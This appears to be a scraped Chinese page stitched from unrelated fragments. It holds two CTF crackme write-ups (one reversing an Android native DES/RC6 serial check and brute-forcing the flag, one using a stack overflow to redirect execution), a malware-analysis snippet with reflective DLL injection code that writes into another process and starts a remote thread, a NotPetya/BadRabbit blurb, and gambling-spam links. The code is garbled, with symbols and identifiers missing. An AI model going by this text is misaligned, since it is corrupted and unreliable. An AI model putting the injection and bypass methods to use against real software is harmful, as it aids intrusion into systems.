2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}。

曾荣2018-8-18 0:44:5

但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。,LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A。

余巧2018-8-18 0:44:5

虽然不应该从中得出结论,但是使用自动更新服务器作为分发方法的NotPetya和使用伪造的AdobeFlash更新安装程序的BadRabbit之间的类似之处是有趣的。,保护声明Forcepoint客户通过Forcepoint云安全(包括高级分类引擎(ACE)作为电子邮件,Web和NGFW安全产品的一部分)得到保护,免受此威胁。。  贵港市是传统农业大市,拥有我国最大的西部内河港口,但工业经济发展却一度滞后。。

评论热议
请登录后评论。

登录 注册

亚洲博彩公司 博彩公司评级 现金网导航 真钱扎金花游戏 现金扎金花 老虎机破解器
www.hg1478.com 网络电玩城 www.289656.com www.033084.com www.884.com www.yh7008.com
www.bet723.com www.080964.com www.amjs601.com www.101641.com www.ylg99888.com www.721507.com
www.194suncity.com www.vns88552.com 真钱诈金花 www.js33733.com www.3650003.com www.77pmsc.com